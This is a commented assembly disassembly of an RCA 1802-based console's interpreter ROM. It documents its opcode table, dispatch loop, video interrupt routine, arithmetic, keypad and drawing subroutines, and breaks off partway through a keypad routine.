; 0345: 5xBy JS I, Vx, Vy IF Vx < Vy THEN jump to I
; JS Vx, Vy
; 0310: 5xCy CP Vx, Vy, [I] copy value Vx until Vy to [I] until [I+y]
; CP Vx, Vy, I
; 0316: 5xDy CP [I], Vx, Vy copy value [I] until [I+y] to Vx until Vy
; CP I, Vx, Vy
; 0326: 5xEy LD [Vy], Vx [VyV(y+1)]=Vx
; 03F8: 5xFy LD Vx, [Vy] Vx=[VyV(y+1)]
; 0400:
; 046A: 60kk CALL 10kk Call subroutine on 10kk, return with 6B.. (RET)
; 0478: 61kk CALL 11kk Call subroutine on 11kk, return with 6B.. (RET)
; 0406: 62kk ADD I, kk Add kk to Low byte of I; no carry to high byte is done
; 040E: 63kk LD I, [27kk] LD I with high byte from [27kk] and low byte from [27kk+1]
; 63Ey LD I, Vy, Vy+1 LD I with high byte from Vy and low byte from Vy+1
; 0419: 64kk LD [27kk], I LD I high byte to [27kk] and low byte to [27kk+1]
; 64Ey LD Vy, Vy+1, I LD Vy with high byte from I and Vy+1 with low byte from I
; 0420: 65kk JP kk Jump to kk in same page
; 047D: 66kk CALL 06kk Call subroutine on 6kk, return with 6B.. (RET)
; 0600: 6600 PUSH V0-V9 PUSH (save) V0 to V9 on 2702-270B
; PUSH
; 060A: 660A POP V0-V9 POP (get) V0 to V9 from 2702-270B
; POP
; 0612: 6612 SCR CLS Print 8*4 pattern from 0575-0578 (zeros) on screen with DRWR I, Vx,
; address following subroutine call contains:
; CLS byte 1: Vx value
; byte 2: Vx+1 value
; 0626: 6626 SCR FILL Print 8*4 pattern from 05FC-05FF (#ff) on screen with DRWR I, Vx,
; address following subroutine call contains:
; byte 1: Vx value
; byte 2: Vx+1 value
; 062C: 662C CHAR [I], V0, V1 Print character stored on [I] on screen position horizontal V0, vertical V1
; CHAR [I]
; 062E: 662E CHAR [V2V3],V0,V1 Print character stored on [V2V3] on screen position horizontal V0, vertical V1
; CHAR [V2V3]
; 0648: 6648 PRINT Print characters on screen, address following subroutine call contains:
; byte 1: horizontal position on screen (0 to 128)
; byte 2: vertical position on screen (0 to 64)
; byte 3 and onwards: character number as on 05nn see 0500-052F table.
; last byte 0xFF
; 0656: 6656 PRINT [I] Print characters on screen, [I] contains:
; PRINT I byte 1: horizontal position on screen (0 to 128)
; byte 2: vertical position on screen (0 to 64)
; byte 3 and onwards: character number as on 05nn see 0500-052F table.
; last byte 0xFF
; 0660: 6660 PRINT D, 3 Print decimal value of V9 (3 digits) on screen, address following subroutine
; call contains:
; byte 1: horizontal position on screen (0 to 128)
; byte 2: vertical position on screen (0 to 64)
; 067C: 667C PRINT D, 2 Print decimal value of V9 (2 digits) on screen, address following subroutine
; call contains:
; byte 1: horizontal position on screen (0 to 128)
; byte 2: vertical position on screen (0 to 64)
; 0682: 6682 PRINT D, 1 Print decimal value of V9 (1 digit) on screen, address following subroutine
; call contains:
; byte 1: horizontal position on screen (0 to 128)
; byte 2: vertical position on screen (0 to 64)
; 0688: 6688 CLR Colour 2 blocks on the screen with CLR Vx, Vy, address following subroutine
; call contains:
; byte 1/2: Screen position first CLR command (Vx and Vx+1)
; byte 3/4: Screen position second CLR command (Vx and Vx+1)
; byte 5: Colour first CLR command (Vy)
; byte 6: Colour second CLR command (Vy)
; If byte 6 highest nible is not 0 then 2 more blocks in following 6 bytes
; will be coloured.
; (Code on 0424-0432 and 04CE-04D1 is part of this routine)
; 0690: 6690 CP [I] Copy to [I] from memory after subroutine call, number of bytes stored in V9
; (Code on 04D4-04EB is part of this routine)
; 047D: 67kk CALL 07kk Call subroutine on 7kk, return with 6B.. (RET)
; 0700: 6700 RESET RAM Reset 2700-279F to 0
; 070B: 670B SCR XOR XOR Screen memory with 0xFF
; 071C: 671C KEY SWITCH Key switch subroutine
; Following bytes are used as input:
; byte 1: First key
; byte 2: Last key
; byte 3/4: return address if no key pressed
; following bytes contain jump table for the pressed keys, first two byte key 0,
; next 2 key 1 etc.
; 0754: 6754 ADD [V0V1],[V2V3] Add decimal values [V0V1] and [V2V3] store result on [V0V1]
; ADD V0V1, V2V3 Number of digits stored in V9.
; LSD is on V0V1 and V2V3, following digit is on one address lower
; Each address (byte) only contains one decimal digit
; 075A: 675A SUB [V0V1],[V2V3] Subtract decimal values [V2V3] from [V0V1] store result on [V0V1]
; SUB V0V1, V2V3 Number of digits stored in V9.
; LSD is on V0V1 and V2V3, following on one address lower
; Each address (byte) only contains one decimal digit
; 078E: 678E ADD I, V9 I = I + V9
; 079C: 679C LD I, [I+V9] I = [I+V9]
; 079E: 679E LD I, [I] I = [I]
; 07AA: 67AA KEY WAIT Wait for key from either keypad and return key in V9, VA indicates keypad
; 07B6: 67B6 RND [270B], V9 Store random number between 0 and V9 on [270B]
; RND V9
; 07BC: 67BC RND [270B],V8,V9 Store random number between V8 and V9 on [270B]
; RND V8, V9
; 047D: 68kk CALL 08kk Call subroutine on 8kk, return with 6B.. (RET)
; 0434: 69kk CALL I, kk Call subroutine on I, V9=kk, return with 6B.. (RET)
; 0449: 6A.. PUSH I Store value I on stack
; 0444: 6B.. RET Return from subrouting (any CALL)
; 0450: 6C.. POP I Load I from stack
; 04A0: 6Dkk WAIT [I], kk WAIT with a value kk, using [I] towards a table on 049h and 048l where hl is
; the byte on [I]
; 045A: 6E.y OUT4 Vy OUT 4 with value Vx, 0x27F4 = Vx
; 0462: 6Fkk OUT4 kk OUT 4 with value kk, 0x27F4 = kk
; 01DD: 7xkk ADD Vx, kk Vx=Vx+kk
; 0289: 8xkk JZ Vx, kk Jump if variable Vx is zero to current page with offset kk
; 028F: 9xkk JNZ Vx, kk Jump if variable Vx is not zero to current page with offset kk
; 03EB: Axkk JE I, Vx, kk Jump to I if Vx = kk
; JE Vx, kk
; 03F1: Bxkk JNE I, Vx, kk Jump to I if Vx != kk
; JNE Vx, kk
; 0272: Cxkk RND Vx, kk Vx = random byte masked by kk
; 02D2: Dxkk LD [27kk], Vx Load address [27kk] with Vx
; 02D7: Exkk LD Vx, [27kk] Load Vx with value on address [27kk]
; 029E: Fxkk LD Vx, kk Vx = kk
; Labels:
MAIN_OPCODE_LOOP EQU 0016H
R0047 EQU 0047H
R0048 EQU 0048H
R006C EQU 006CH
R007E EQU 007EH
R0089 EQU 0089H
R008E EQU 008EH
R00F3 EQU 00F3H
R0113 EQU 0113H
R0116 EQU 0116H
R0121 EQU 0121H
R013A EQU 013AH
R015E EQU 015EH
R0162 EQU 0162H
R0176 EQU 0176H
R017A EQU 017AH
OPCODE0123 EQU 0293H
OPCODE4 EQU 0100H
OPCODE4-0 EQU 010BH
OPCODE4-12345 EQU 013EH
OPCODE4-6 EQU 0155H
OPCODE4-78 EQU 0198H
OPCODE4-9 EQU 016DH
OPCODE4-A EQU 0128H
OPCODE4-B EQU 0183H
OPCODE4-C EQU 018AH
OPCODE4-D EQU 0188H
OPCODE4-E EQU 01E0H
OPCODE4-F EQU 01CAH
OPCODE5 EQU 0300H
OPCODE6 EQU 0400H
OPCODE7 EQU 01DDH
OPCODE8 EQU 0289H
OPCODE9 EQU 028FH
OPCODEC EQU 0272H
OPCODED EQU 02D2H
OPCODEF EQU 029EH
R019B EQU 019BH
R01AE EQU 01AEH
R01B6 EQU 01B6H
R01B9 EQU 01B9H
R01C3 EQU 01C3H
R01C7 EQU 01C7H
R01D7 EQU 01D7H
R01FE EQU 01FEH
R0202 EQU 0202H
R020B EQU 020BH
R0212 EQU 0212H
R0219 EQU 0219H
R021E EQU 021EH
R022A EQU 022AH
R0232 EQU 0232H
R0243 EQU 0243H
R024E EQU 024EH
R025E EQU 025EH
R0262 EQU 0262H
R026F EQU 026FH
R028C EQU 028CH
R028E EQU 028EH
R02A8 EQU 02A8H
R02AD EQU 02ADH
R02B7 EQU 02B7H
R02BB EQU 02BBH
R02C1 EQU 02C1H
R02C5 EQU 02C5H
R0310 EQU 0310H
R0316 EQU 0316H
R031C EQU 031CH
R0332 EQU 0332H
R0336 EQU 0336H
R0344 EQU 0344H
R0370 EQU 0370H
R0375 EQU 0375H
R038D EQU 038DH
R039D EQU 039DH
R03A1 EQU 03A1H
R03B1 EQU 03B1H
R03B7 EQU 03B7H
R03BA EQU 03BAH
R03BE EQU 03BEH
R03D4 EQU 03D4H
R03DC EQU 03DCH
R03E7 EQU 03E7H
R0413 EQU 0413H
R046D EQU 046DH
R04A6 EQU 04A6H
R04BE EQU 04BEH
R04BF EQU 04BFH
R04C4 EQU 04C4H
R0703 EQU 0703H
R0711 EQU 0711H
; Unused or indirect labels:
; S004C
; S00F4
; S014D
; S01D3
; S0236
; S02A2
; S02C9
; S0313
; S0319
; S0323
; S035B
; S0367
; S037A
; S03EB
; S03F1
; Register Definitions:
R0 EQU 0
R1 EQU 1
R2 EQU 2
R3 EQU 3
R4 EQU 4
R5 EQU 5
R6 EQU 6
R7 EQU 7
R8 EQU 8
R9 EQU 9
RA EQU 10
RB EQU 11
RC EQU 12
RD EQU 13
RE EQU 14
RF EQU 15
; Start code segment
GHI R0 ;0000: 90
PHI R4 ;0001: B4
PHI R1 ;0002: B1
LDI 16H ;0003: F8 16
PLO R4 ;0005: A4
LDI 4FH ;0006: F8 4F
PLO R1 ;0008: A1
LDI 27H ;0009: F8 27
PHI R2 ;000B: B2
LDI 0BFH ;000C: F8 BF
PLO R2 ;000E: A2
LDI 02H ;000F: F8 02
PHI R5 ;0011: B5
LDI 0DCH ;0012: F8 DC
PLO R5 ;0014: A5
SEP R4 ;0015: D4
MAIN_OPCODE_LOOP
LDI 27H ;0016: F8 27
PHI R6 ;0018: B6
PHI R7 ;0019: B7
SEX R2 ;001A: E2
LDI 0F6H ;001B: F8 F6
PLO R6 ;001D: A6
LDA R6 ;001E: 46
PHI RE ;001F: BE
LDN R6 ;0020: 06
PLO RE ;0021: AE
GHI R4 ;0022: 94
PHI RC ;0023: BC
LDA R5 ;0024: 45
PHI RF ;0025: BF
SHR ;0026: F6
SHR ;0027: F6
SHR ;0028: F6
SHR ;0029: F6
ORI 0D0H ;002A: F9 D0
PLO RC ;002C: AC
GHI RF ;002D: 9F
ANI 0FH ;002E: FA 0F
PHI RF ;0030: BF
ORI 0E0H ;0031: F9 E0
PLO R6 ;0033: A6
LDA R5 ;0034: 45
PLO RF ;0035: AF
ANI 0FH ;0036: FA 0F
ORI 0E0H ;0038: F9 E0
PLO R7 ;003A: A7
LDA RC ;003B: 4C
PHI R3 ;003C: B3
GLO RC ;003D: 8C
ADI 0FH ;003E: FC 0F
PLO RC ;0040: AC
LDN RC ;0041: 0C
PLO R3 ;0042: A3
SEP R3 ;0043: D3
RET_AFTER_OPCODE
BR MAIN_OPCODE_LOOP;0044: 30 16
DB 00H ;0046: 00
; Interrupt routine
R0047
REQ ;0047: 7A
R0048
LDI 0F9H ;0048: F8 F9
PLO R8 ;004A: A8
SEP R8 ;004B: D8
S004C
SEX R2 ;004C: E2
LDA R2 ;004D: 42
RET ;004E: 70 Return from interrupt
NOP ;004F: C4 Entry point
DEC R2 ;0050: 22
SAV ;0051: 78
DEC R2 ;0052: 22
STR R2 ;0053: 52
LDI 27H ;0054: F8 27
PHI R8 ;0056: B8
LDI 0F2H ;0057: F8 F2
PLO R8 ;0059: A8
LDA R8 ;005A: 48
PHI R0 ;005B: B0
SEX R1 ;005C: E1
LDA R8 ;005D: 48
PLO R0 ;005E: A0 R0 = Screen location in RAM on 27F2/27F3, normal case 0x2000
LDA R8 ;005F: 48
ANI 40H ;0060: FA 40
PHI RA ;0062: BA RA.1 = OUT 4 value (from 27F4) AND 0x40, NTSC = 0 and PAL = 0x40
LDA R8 ;0063: 48
PLO RA ;0064: AA RA.0 = Number of vertical lines (0x40, 64) value from 27F5
INC R9 ;0065: 19
SEX R1 ;0066: E1
SEX R1 ;0067: E1
SEX R1 ;0068: E1
SEX R1 ;0069: E1
SEX R1 ;006A: E1
SEX R1 ;006B: E1
R006C
GLO R0 ;006C: 80 Start of screen refresh routine
PLO RB ;006D: AB
DEC RA ;006E: 2A
OUT 5 ;006F: 65 Enable first burst of DMA outs by Video chip, 0x10 Bytes
DB 00H ;0070: 00
DEC R0 ;0071: 20
GLO RB ;0072: 8B
PLO R0 ;0073: A0 Reset R0
GHI RA ;0074: 9A
BZ R007E ;0075: 32 7E Jump to 0x7E if NTSC and only do 2 visible lines for every pixel
OUT 5 ;0077: 65 Enable second burst (PAL only) of DMA outs by Video chip, 0x10 Bytes
DB 00H ;0078: 00
DEC R0 ;0079: 20
GLO RB ;007A: 8B
PLO R0 ;007B: A0 Reset R0
SEX R1 ;007C: E1
SEX R1 ;007D: E1
R007E
OUT 5 ;007E: 65 Enable second (NTSC) or third (PAL) burst of DMA outs by Video chip, 0x10 Bytes
DB 00H ;007F: 00
GLO RA ;0080: 8A
BNZ R006C ;0081: 3A 6C Loop back to 0x6c until 64 lines are done.
LDI 03H ;0083: F8 03
PLO RB ;0085: AB
LDI 0EFH ;0086: F8 EF
PLO R8 ;0088: A8
R0089
LDN R8 ;0089: 08
PLO RA ;008A: AA
BZ R008E ;008B: 32 8E
DEC RA ;008D: 2A
R008E
GLO RA ;008E: 8A
STR R8 ;008F: 58
DEC R8 ;0090: 28
DEC RB ;0091: 2B
GLO RB ;0092: 8B
BNZ R0089 ;0093: 3A 89
SEX R8 ;0095: E8
LDN R8 ;0096: 08
OUT 1 ;0097: 61 Set frequency
BZ R0047 ;0098: 32 47
LDN R8 ;009A: 08
BZ R0047 ;009B: 32 47
SEQ ;009D: 7B
BR R0048 ;009E: 30 48
; Jump table command 4.n. to address 01xx
DB 0BH ;00A0: 0B
DB 3EH ;00A1: 3E
DB 3EH ;00A2: 3E
DB 3EH ;00A3: 3E
DB 3EH ;00A4: 3E
DB 3EH ;00A5: 3E
DB 55H ;00A6: 55
DB 98H ;00A7: 98
DB 98H ;00A8: 98
DB 6DH ;00A9: 6D
DB 28H ;00AA: 28
DB 83H ;00AB: 83
DB 8AH ;00AC: 8A
DB 88H ;00AD: 88
DB 0E0H ;00AE: E0
DB 0CAH ;00AF: CA
; Jump table command 5.n. to address 03xx
DB 60H ;00B0: 60
DB 1CH ;00B1: 1C
DB 74H ;00B2: 74
DB 2EH ;00B3: 2E
DB 37H ;00B4: 37
DB 6CH ;00B5: 6C
DB 6FH ;00B6: 6F
DB 74H ;00B7: 74
DB 4AH ;00B8: 4A
DB 54H ;00B9: 54
DB 3CH ;00BA: 3C
DB 45H ;00BB: 45
DB 10H ;00BC: 10
DB 16H ;00BD: 16
DB 26H ;00BE: 26
DB 0F8H ;00BF: F8
; Jump table command 6n.. to address 04xx
DB 6AH ;00C0: 6A
DB 78H ;00C1: 78
DB 06H ;00C2: 06
DB 0EH ;00C3: 0E
DB 19H ;00C4: 19
DB 20H ;00C5: 20
DB 7DH ;00C6: 7D
DB 7DH ;00C7: 7D
DB 7DH ;00C8: 7D
DB 34H ;00C9: 34
DB 49H ;00CA: 49
DB 44H ;00CB: 44
DB 50H ;00CC: 50
DB 0A0H ;00CD: A0
DB 5AH ;00CE: 5A
DB 62H ;00CF: 62
; Jump table for comand handling, high byte on Dx, low byt on Ex, x is first nibble of the command
DB 02H ;00D0: 02
DB 02H ;00D1: 02
DB 02H ;00D2: 02
DB 02H ;00D3: 02
DB 01H ;00D4: 01
DB 03H ;00D5: 03
DB 04H ;00D6: 04
DB 01H ;00D7: 01
DB 02H ;00D8: 02
DB 02H ;00D9: 02
DB 03H ;00DA: 03
DB 03H ;00DB: 03
DB 02H ;00DC: 02
DB 02H ;00DD: 02
DB 02H ;00DE: 02
DB 02H ;00DF: 02
DB 93H ;00E0: 93
DB 93H ;00E1: 93
DB 93H ;00E2: 93
DB 93H ;00E3: 93
DB 00H ;00E4: 00
DB 00H ;00E5: 00
DB 00H ;00E6: 00
DB 0DDH ;00E7: DD
DB 89H ;00E8: 89
DB 8FH ;00E9: 8F
DB 0EBH ;00EA: EB
DB 0F1H ;00EB: F1
DB 72H ;00EC: 72
DB 0D2H ;00ED: D2
DB 0D7H ;00EE: D7
DB 9EH ;00EF: 9E
; 3 bytes used for decimal conversions
DB 64H ;00F0: 64
DB 0AH ;00F1: 0A
DB 01H ;00F2: 01
R00F3
SEP R3 ;00F3: D3
S00F4
DEC R2 ;00F4: 22
GLO R6 ;00F5: 86
STR R2 ;00F6: 52
SEX R2 ;00F7: E2
GLO R7 ;00F8: 87
XOR ;00F9: F3
INC R6 ;00FA: 16
INC RE ;00FB: 1E
INC R2 ;00FC: 12
BR R00F3 ;00FD: 30 F3
DB 00H ;00FF: 00
; Opcode: 4.n. Start routine, jump table on 00A0, jump on n.
OPCODE4
GLO RF ;0100: 8F
SHR ;0101: F6
SHR ;0102: F6
SHR ;0103: F6
SHR ;0104: F6
SEX R6 ;0105: E6
ORI 0A0H ;0106: F9 A0
PLO RC ;0108: AC
LDN RC ;0109: 0C
PLO R3 ;010A: A3
; Opcode: 4x0y LD B, [Vy], Vx Convert Vx to 3 digit decimal at [Vy+2700], [Vy+2701], [Vy+2702]
; LD B, Vy, Vx
OPCODE4-0
LDN R6 ;010B: 06
PHI RF ;010C: BF
LDI 0F0H ;010D: F8 F0
PLO RC ;010F: AC
LDN R7 ;0110: 07
PLO R7 ;0111: A7
DEC R7 ;0112: 27
R0113
INC R7 ;0113: 17
GHI R4 ;0114: 94
STR R7 ;0115: 57
R0116
LDN RC ;0116: 0C
SD ;0117: F5
BNF R0121 ;0118: 3B 21
STR R6 ;011A: 56
LDN R7 ;011B: 07
ADI 01H ;011C: FC 01
STR R7 ;011E: 57
BR R0116 ;011F: 30 16
R0121
LDA RC ;0121: 4C
SHR ;0122: F6
BNF R0113 ;0123: 3B 13
GHI RF ;0125: 9F
STR R6 ;0126: 56
SEP R4 ;0127: D4
; Opcode: 4xAy ADDN Vx, Vy ADD Nibbles, Vx-n0 = Vx-n0 + Vy-n0 and Vx-n1 = Vx-n1 + Vy-n1
; (Vx-n0 is the lower 4 bits of Vx, Vx-n1 the higer 4 bits)
OPCODE4-A
LDN R7 ;0128: 07
ADD ;0129: F4
ANI 0FH ;012A: FA 0F
PHI RC ;012C: BC
LDN R6 ;012D: 06
ANI 0F0H ;012E: FA F0
STR R6 ;0130: 56
LDN R7 ;0131: 07
ANI 0F0H ;0132: FA F0
ADD ;0134: F4
STR R6 ;0135: 56
GHI RC ;0136: 9C
OR ;0137: F1
STR R6 ;0138: 56
SEP R4 ;0139: D4
R013A
GLO RF ;013A: 8F
ADD ;013B: F4
STR R6 ;013C: 56
SEP R4 ;013D: D4
; Opcode: 4x1y OR Vx, Vy Vx = Vx OR Vy
; 4x2y AND Vx, Vy Vx = Vx + Vy
; 4x3y XOR Vx, Vy Vx = Vx XOR Vy
; 4x4y ADD Vx, Vy Vx = Vx + Vy, VB is carry / not borrow
; 4x5y SUB Vx, Vy Vx = Vx - Vy, VB is carry / not borrow
OPCODE4-12345
DEC R2 ;013E: 22
LDI 0D3H ;013F: F8 D3
STR R2 ;0141: 52
DEC R2 ;0142: 22
GLO RF ;0143: 8F
SHR ;0144: F6
SHR ;0145: F6
SHR ;0146: F6
SHR ;0147: F6
ORI 0F0H ;0148: F9 F0
STR R2 ;014A: 52
LDN R7 ;014B: 07
SEP R2 ;014C: D2
S014D
STR R6 ;014D: 56
LDI 0EBH ;014E: F8 EB
PLO R7 ;0150: A7
GHI R4 ;0151: 94
SHLC ;0152: 7E
STR R7 ;0153: 57
SEP R4 ;0154: D4
; Opcode: 4x6n SHL Vx, n Vx = Vx SHL n times, VB will contains bits shifted 'out of Vx'
OPCODE4-6
GLO RF ;0155: 8F
ANI 0FH ;0156: FA 0F
PLO RF ;0158: AF
LDI 0EBH ;0159: F8 EB
PLO R7 ;015B: A7
GHI R4 ;015C: 94
STR R7 ;015D: 57
R015E
GLO RF ;015E: 8F
BNZ R0162 ;015F: 3A 62
SEP R4 ;0161: D4
R0162
LDN R6 ;0162: 06
SHL ;0163: FE
STR R6 ;0164: 56
LDN R7 ;0165: 07
SHLC ;0166: 7E
STR R7 ;0167: 57
DEC RF ;0168: 2F
BR R015E ;0169: 30 5E
DB 00H ;016B: 00
DB 00H ;016C: 00
; Opcode: 4x9n SHR Vx, n Vx = Vx SHR n times, VB will contains bits shifted 'out of Vx'
OPCODE4-9
GLO RF ;016D: 8F
ANI 0FH ;016E: FA 0F
PLO RF ;0170: AF
LDI 0EBH ;0171: F8 EB
PLO R7 ;0173: A7
GHI R4 ;0174: 94
STR R7 ;0175: 57
R0176
GLO RF ;0176: 8F
BNZ R017A ;0177: 3A 7A
SEP R4 ;0179: D4
R017A
LDN R6 ;017A: 06
SHR ;017B: F6
STR R6 ;017C: 56
LDN R7 ;017D: 07
SHRC ;017E: 76
STR R7 ;017F: 57
DEC RF ;0180: 2F
BR R0176 ;0181: 30 76
; Opcode: 4.B. JP I Jump to address I
; JP
GHI RE ;0183: 9E
PHI R5 ;0184: B5
GLO RE ;0185: 8E
PLO R5 ;0186: A5
SEP R4 ;0187: D4
; Opcode: 4.D. STOP Wait in endless loop
OPCODE4-D
BR OPCODE4-D ;0188: 30 88
; Opcode: 4xCy SHR Vx, Vy Vx = (Vx SHR 3) AND 0xF, Vy =(Vy SHR 2) AND 0xF
OPCODE4-C
LDN R6 ;018A: 06
SHR ;018B: F6
SHR ;018C: F6
SHR ;018D: F6
ANI 0FH ;018E: FA 0F
STR R6 ;0190: 56
LDN R7 ;0191: 07
SHR ;0192: F6
SHR ;0193: F6
ANI 0FH ;0194: FA 0F
STR R7 ;0196: 57
SEP R4 ;0197: D4
; Opcode: 4x7y KEYP Vy Wait for key and return key in Vy
; VA contains keypad (0 key pad player 1, 1 keypad player 2)
; VC = x << 3
; 4x8y KEYR Vy Wait for key press/release and return key in Vy
; VA contains keypad (0 key pad player 1, 1 keypad player 2)
; VC = x << 3
OPCODE4-78
LDI 02H ;0198: F8 02
PHI RC ;019A: BC
R019B
LDI 0A2H ;019B: F8 A2
PLO RC ;019D: AC
SEP RC ;019E: DC
BDF R019B ;019F: 33 9B
STR R7 ;01A1: 57
LDI 0ECH ;01A2: F8 EC
PLO R7 ;01A4: A7
GHI RF ;01A5: 9F
SHL ;01A6: FE
SHL ;01A7: FE
SHL ;01A8: FE
STR R7 ;01A9: 57
INC R7 ;01AA: 17
LDI 05H ;01AB: F8 05
STR R7 ;01AD: 57
R01AE
LDN R7 ;01AE: 07
BNZ R01AE ;01AF: 3A AE
GLO RF ;01B1: 8F
SHL ;01B2: FE
BDF R01B6 ;01B3: 33 B6
SEP R4 ;01B5: D4
R01B6
LDI 05H ;01B6: F8 05
STR R7 ;01B8: 57
R01B9
LDN R6 ;01B9: 06
SHR ;01BA: F6
BDF R01C3 ;01BB: 33 C3
BN3 R01C7 ;01BD: 3E C7
B3 R01B6 ;01BF: 36 B6
BR R01C7 ;01C1: 30 C7
R01C3
BN4 R01C7 ;01C3: 3F C7
B4 R01B6 ;01C5: 37 B6
R01C7
BQ R01B9 ;01C7: 31 B9
SEP R4 ;01C9: D4
; Opcode: 4.Fy KEY Vy Check if key is pressed, if so return key in Vy and VB=1
; (VB=0, no key pressed)
; VA contains keypad (0 key pad player 1, 1 keypad player 2)
LDI 02H ;01CA: F8 02
PHI RC ;01CC: BC
LDI 0A2H ;01CD: F8 A2
PLO RC ;01CF: AC
GHI R4 ;01D0: 94
PLO RF ;01D1: AF
SEP RC ;01D2: DC
S01D3
BDF R01D7 ;01D3: 33 D7
INC RF ;01D5: 1F
STR R7 ;01D6: 57
R01D7
LDI 0EBH ;01D7: F8 EB
PLO R7 ;01D9: A7
GLO RF ;01DA: 8F
STR R7 ;01DB: 57
SEP R4 ;01DC: D4
; Opcode: 7xkk ADD Vx, kk Vx=Vx+kk
OPCODE7
SEX R6 ;01DD: E6
BR R013A ;01DE: 30 3A
; Opcode: 4xEn DRW I, Vx, n Draw pattern from [I] on screen position Vx, V(x+1) (128x64 positions),
; width 8 pixels; n lines.
OPCODE4-E
SEX R2 ;01E0: E2
DEC R2 ;01E1: 22
LDN R6 ;01E2: 06
ANI 07H ;01E3: FA 07
PHI R7 ;01E5: B7
LDA R6 ;01E6: 46
ANI 7FH ;01E7: FA 7F
SHR ;01E9: F6
SHR ;01EA: F6
SHR ;01EB: F6
STR R2 ;01EC: 52
GLO RF ;01ED: 8F
ANI 0FH ;01EE: FA 0F
PHI RF ;01F0: BF
LDI 20H ;01F1: F8 20
PLO RF ;01F3: AF
LDN R6 ;01F4: 06
ANI 3FH ;01F5: FA 3F
SHL ;01F7: FE
SHL ;01F8: FE
SHL ;01F9: FE
BNF R01FE ;01FA: 3B FE
INC RF ;01FC: 1F
INC RF ;01FD: 1F
R01FE
SHL ;01FE: FE
BNF R0202 ;01FF: 3B 02
INC RF ;0201: 1F
R0202
ADD ;0202: F4
PLO RC ;0203: AC
GLO RF ;0204: 8F
PHI RC ;0205: BC
LDI 0C0H ;0206: F8 C0
PLO R6 ;0208: A6
GHI RF ;0209: 9F
PLO RF ;020A: AF
R020B
GHI R4 ;020B: 94
PLO RD ;020C: AD
GLO RF ;020D: 8F
BNZ R0219 ;020E: 3A 19
GHI RF ;0210: 9F
PLO RF ;0211: AF
R0212
GLO RF ;0212: 8F
BZ R0232 ;0213: 32 32
DEC RE ;0215: 2E
DEC RF ;0216: 2F
BR R0212 ;0217: 30 12
R0219
DEC RF ;0219: 2F
LDA RE ;021A: 4E
PHI RD ;021B: BD
GHI R7 ;021C: 97
PLO R7 ;021D: A7
R021E
GLO R7 ;021E: 87
BZ R022A ;021F: 32 2A
GHI RD ;0221: 9D
SHR ;0222: F6
PHI RD ;0223: BD
GLO RD ;0224: 8D
SHRC ;0225: 76
PLO RD ;0226: AD
DEC R7 ;0227: 27
BR R021E ;0228: 30 1E
R022A
GHI RD ;022A: 9D
STR R6 ;022B: 56
INC R6 ;022C: 16
GLO RD ;022D: 8D
STR R6 ;022E: 56
INC R6 ;022F: 16
BR R020B ;0230: 30 0B
R0232
LDI 0F0H ;0232: F8 F0
PLO R6 ;0234: A6
SEP R6 ;0235: D6
S0236
SEX RC ;0236: EC
LDI 0C0H ;0237: F8 C0
PLO R6 ;0239: A6
GHI R6 ;023A: 96
PHI RD ;023B: BD
LDI 0F8H ;023C: F8 F8
PLO RD ;023E: AD
GHI R4 ;023F: 94
STR RD ;0240: 5D
GHI RF ;0241: 9F
PLO RF ;0242: AF
R0243
GLO RF ;0243: 8F
BZ R026F ;0244: 32 6F
LDN R6 ;0246: 06
AND ;0247: F2
DEC RF ;0248: 2F
BZ R024E ;0249: 32 4E
LDI 01H ;024B: F8 01
STR RD ;024D: 5D
R024E
LDA R6 ;024E: 46
XOR ;024F: F3
STR RC ;0250: 5C
LDN R2 ;0251: 02
XRI 0FH ;0252: FB 0F
BZ R0262 ;0254: 32 62
INC RC ;0256: 1C
LDN R6 ;0257: 06
AND ;0258: F2
BZ R025E ;0259: 32 5E
LDI 01H ;025B: F8 01
STR RD ;025D: 5D
R025E
LDN R6 ;025E: 06
XOR ;025F: F3
STR RC ;0260: 5C
DEC RC ;0261: 2C
R0262
INC R6 ;0262: 16
GLO RC ;0263: 8C
ADI 10H ;0264: FC 10
PLO RC ;0266: AC
GHI RC ;0267: 9C
ADCI 00H ;0268: 7C 00
PHI RC ;026A: BC
XRI 24H ;026B: FB 24
BNZ R0243 ;026D: 3A 43
R026F
INC R2 ;026F: 12
SEP R4 ;0270: D4
DB 00H ;0271: 00
; Opcode: Cxkk RND Vx, kk Vx = random byte masked by kk
OPCODEC
INC R9 ;0272: 19
GLO R9 ;0273: 89
PLO RE ;0274: AE
SHR ;0275: F6
SHR ;0276: F6
SHR ;0277: F6
SHR ;0278: F6
SHR ;0279: F6
SHR ;027A: F6
PHI RE ;027B: BE
GHI R9 ;027C: 99
SEX RE ;027D: EE
ADD ;027E: F4
STR R6 ;027F: 56
SHR ;0280: F6
SEX R6 ;0281: E6
ADD ;0282: F4
PHI R9 ;0283: B9
STR R6 ;0284: 56
GLO RF ;0285: 8F
AND ;0286: F2
STR R6 ;0287: 56
SEP R4 ;0288: D4
; Opcode: 8xkk JZ Vx, kk Jump if variable Vx is zero to current page with offset kk
OPCDOE8
LDN R6 ;0289: 06
BNZ R028E ;028A: 3A 8E
R028C
GLO RF ;028C: 8F
PLO R5 ;028D: A5
R028E
SEP R4 ;028E: D4
; Opcode: 9xkk JNZ Vx, kk Jump if variable Vx is not zero to current page with offset kk
OPCDOE9
LDN R6 ;028F: 06
BNZ R028C ;0290: 3A 8C
SEP R4 ;0292: D4
; Opcode: 0aaa LD I, 0aaa Load I with address 0000 to 0FFF
; 1aaa LD I, 1aaa Load I with address 1000 to 1FFF
; 2aaa LD I, 2aaa Load I with address 2000 to 2FFF
; 3aaa LD I, 3aaa Load I with address 3000 to 3FFF
OPCODE0123
LDI 0F6H ;0293: F8 F6
PLO R6 ;0295: A6
DEC R5 ;0296: 25
DEC R5 ;0297: 25
LDA R5 ;0298: 45
STR R6 ;0299: 56
INC R6 ;029A: 16
LDA R5 ;029B: 45
STR R6 ;029C: 56
SEP R4 ;029D: D4
; Opcode: Fxkk LD Vx, kk Vx = kk
OPCODEF
GLO RF ;029E: 8F
STR R6 ;029F: 56
SEP R4 ;02A0: D4
DB 00H ;02A1: 00
S02A2
LDI 0EAH ;02A2: F8 EA
PLO R6 ;02A4: A6
LDI 0FH ;02A5: F8 0F
PLO RD ;02A7: AD
R02A8
DEC R2 ;02A8: 22
SEX R2 ;02A9: E2
GLO RD ;02AA: 8D
STR R2 ;02AB: 52
OUT 2 ;02AC: 62
R02AD
LDN R6 ;02AD: 06
SHR ;02AE: F6
BDF R02B7 ;02AF: 33 B7
BN3 R02BB ;02B1: 3E BB
B3 R02C5 ;02B3: 36 C5
BR R02BB ;02B5: 30 BB
R02B7
